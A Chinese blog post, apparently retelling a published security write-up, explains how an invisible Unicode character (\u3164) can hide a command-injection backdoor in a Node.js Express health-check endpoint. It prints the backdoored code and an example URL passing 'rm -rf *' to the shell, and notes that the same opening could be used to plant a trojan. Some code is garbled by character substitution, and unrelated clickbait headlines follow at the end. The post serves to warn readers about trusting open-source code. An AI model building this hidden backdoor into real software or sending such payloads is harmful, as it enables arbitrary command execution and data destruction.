開源項目,真的安全么?別傻了

以前有人說,開源項目非常安全,因為誰都可以看到代碼,所以不怕里面藏有后門。
這樣的言論顯然非常天真,一來,并不會有很多人真的去看源代碼;二來,有一些缺陷隱藏得很深,光看源代碼看不出來,例如 log4j2;第三,有辦法把后門藏在一段非常安全的代碼里面,你即使看源代碼也看不出哪里有問題。
今天這個案例,是我在網(wǎng)上閑逛(mo yu)的時候偶然發(fā)現(xiàn)的,它的做法非常精巧,可以稱得上是光明正大開后門。
案例文章的原始地址是:The Invisible JavaScript Backdoor[1]這篇文章給出了一段看起來非常安全的Node.js 的代碼:
const?express?=?require('express');
const?util?=?require('util');
const?exec?=?util.promisify(require('child_process').exec);
const?app?=?express();
app.get('/network_health',?async?(req,?res)?=>?{
????const?{?timeout,?}?=?req.query;
????const?checkCommands?=?[
????????'ping?-c?1?google.com',
????????'curl?-s?http://example.com/',?
????];
????try?{
????????await?Promise.all(checkCommands.map(cmd?=>?
????????????????cmd?&&?exec(cmd,?{?timeout:?+timeout?||?5_000?})));
????????res.status(200);
????????res.send('ok');
????}?catch(e)?{
????????res.status(500);
????????res.send('failed');
????}
});
app.listen(8080);
這段代碼使用 Express 框架搭建了一個 API 接口,當(dāng)你調(diào)用http://127.0.0.1:8080/network_health的時候,后臺會首先ping一下 Google,然后再使用curl訪問http://example.com。如果都成功了,那么顯然你的網(wǎng)絡(luò)是正常的,于是給你返回ok。你也可以設(shè)置參數(shù)timeout=xxx來限定這兩個測試必需在多長時間內(nèi)完成,否則視為網(wǎng)絡(luò)有問題。
這個功能簡單得不能再簡單了,能有什么問題呢?我現(xiàn)在就把代碼放到你的面前讓你來Review,你能說我的代碼有問題?
但實際上,上面這段代碼確實有一個后門,可以讓我在部署了這個接口的機器上執(zhí)行任意命令,包括但不限于下載木馬或者rm -rf *。
這段代碼的問題,就出現(xiàn)在圖中我畫箭頭的這兩個地方:

這兩個地方的逗號后面,并不是空格,而是一個看不見的符號:\u3164。我們知道,在 JavaScript 里面,幾乎任何非關(guān)鍵字的Unicode 符號都可以用來當(dāng)做變量名。而\u3164也是一個 Unicode 字符,所以它顯然也可以當(dāng)做變量名。
我們來看上面代碼中,執(zhí)行命令的地方:
const?checkCommands?=?[
????????'ping?-c?1?google.com',
????????'curl?-s?http://example.com/',?
????];
????try?{
????????await?Promise.all(checkCommands.map(cmd?=>?
????????????????cmd?&&?exec(cmd,?{?timeout:?+timeout?||?5_000?})));
這里,Node.js 會調(diào)用系統(tǒng) Shell 執(zhí)行數(shù)組checkCommands中的兩條命令。如果我這樣寫:
const?hide_command?=?'rm?-rf?*'
const?checkCommands?=?[
????????'ping?-c?1?google.com',
????????'curl?-s?http://example.com/',?hide_command
????];
那你肯定知道我執(zhí)行了三條命令,其中第三個命令會刪除電腦里面的文件。現(xiàn)在,我把里面的名字hide_command換成\u3164:
const???=?'rm?-rf?*'
const?checkCommands?=?[
????????'ping?-c?1?google.com',
????????'curl?-s?http://example.com/',?
????];
你雖然可能會覺得const ? = 'rm -rf *'有點奇怪,但你應(yīng)該不會懷疑下面的數(shù)組有什么問題。因為在你的眼里,這個數(shù)組只有兩條命令,但它實際上有三條命令。
而這段攻擊代碼,把const ? = 'rm -rf *'這個奇怪的賦值語句也給隱藏到了const { timeout,?} = req.query;當(dāng)中。因為在 Express 中,我們可以這樣設(shè)置 URL 參數(shù):
const?{id,?name,?type}?=?req.query;
那么,你在 URL 里面就可以使用這三個參數(shù):http://127.0.0.1:8000/network_health?id=xxx&name=yyy&type=zzz。現(xiàn)在,這段有后門的代碼,其實會接收兩個參數(shù),分別是timeout和?,其中后者這個看起來像是空格的就是\u3164,也就是變量名。所以,我可以通過訪問 URL:http://127.0.0.1:8000/network_health?timeout=10&?=rm -rf *。把刪除系統(tǒng)文件的命令傳入進來。這里可以傳入任何 Shell 命令,如果不想刪除對方的系統(tǒng),那么可以通過執(zhí)行 Shell 下載一個木馬程序到對方的電腦上,然后就可以每天遠程偷偷監(jiān)控對方在干什么了。
總結(jié)
這樣的后門真的是防不勝防。我也沒有什么好辦法能避免被欺騙。例如你在Github 上面看到有人開源了一個基于 Node.js 實現(xiàn)的電商系統(tǒng),于是你就把它拿來用,搭建出了你自己的在線商城賣點小東西。也許某一天,你會發(fā)現(xiàn)你的賬目對不上,也許就是因為這個系統(tǒng)里面留有這樣的后門?
只能說最好的辦法就是不要運行來歷不明的代碼,也不要因為代碼是開源項目,就盲目覺得它很安全。
參考文獻
[1]?The Invisible JavaScript Backdoor:?https://certitude.consulting/blog/en/invisible-backdoor/
3、首個國產(chǎn)元宇宙—“希壤”已開放內(nèi)測,12月27日將向所有用戶開放!
5、一鍵摸魚神器火了!專為Windows系統(tǒng)打造,老板在身后也可以很淡定

